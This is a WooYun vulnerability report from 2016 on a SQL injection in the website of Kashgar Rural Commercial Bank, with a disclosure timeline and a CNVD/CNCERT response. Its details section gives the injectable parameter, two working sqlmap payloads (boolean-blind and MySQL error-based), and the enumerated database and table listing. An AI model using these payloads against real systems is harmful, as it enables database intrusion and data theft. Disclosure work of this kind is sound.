当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0168830

漏洞标题：喀什农商银行存在SQL注入漏洞

相关厂商：喀什农商银行

漏洞作者： 路人甲

提交时间：2016-01-13 16:46

修复时间：2016-02-27 11:49

公开时间：2016-02-27 11:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-13： 细节已通知厂商并且等待厂商处理中
2016-01-15： 厂商已经确认，细节仅向厂商公开
2016-01-25： 细节向核心白帽子及相关领域专家公开
2016-02-04： 细节向普通白帽子公开
2016-02-14： 细节向实习白帽子公开
2016-02-27： 细节向公众公开

简要描述：

RT

详细说明：

注入点
http://**.**.**.**/?r=about%2Findex&catalog_id=126
http://**.**.**.**/index.php?r=about%2Findex&catalog_id=126


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: catalog_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: r=about/index&catalog_id=126) AND 3452=3452 AND (8525=8525
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: r=about/index&catalog_id=126) AND (SELECT 9186 FROM(SELECT COUNT(*),CONCAT(0x7170786271,(SELECT (ELT(9186=9186,1))),0x7171627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (5050=5050
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.27
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] xjkrcb
Database: xjkrcb
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| yiif_session            | 282     |
| yiif_upload             | 186     |
| yiif_tag_data           | 179     |
| yiif_about              | 66      |
| yiif_catalog            | 52      |
| yiif_setting            | 47      |
| yiif_menu               | 41      |
| yiif_tag                | 38      |
| yiif_business           | 32      |
| yiif_soft               | 28      |
| yiif_product            | 21      |
| yiif_ebank              | 19      |
| yiif_comment            | 11      |
| yiif_model_type         | 11      |
| yiif_image              | 10      |
| yiif_user_group         | 10      |
| yiif_reply              | 7       |
| yiif_ad_position        | 6       |
| yiif_link               | 6       |
| yiif_page               | 6       |
| yiif_question           | 6       |
| yiif_video              | 6       |
| yiif_ad                 | 5       |
| yiif_defenrence         | 5       |
| yiif_recommend_position | 5       |
| yiif_user               | 5       |
| yiif_oauth              | 4       |
| yiif_service            | 3       |
| yiif_apply              | 2       |
| yiif_news               | 2       |
| yiif_recommend          | 2       |
| yiif_attention          | 1       |
| yiif_collect            | 1       |
| yiif_goods              | 1       |
| yiif_mail_log           | 1       |
+-------------------------+---------+

漏洞证明：

RT

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-01-15 16:10

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向银行业信息化主管部门通报，并抄报新疆分中心协助处置，由其后续协调网站管理单位处置。

最新状态：

暂无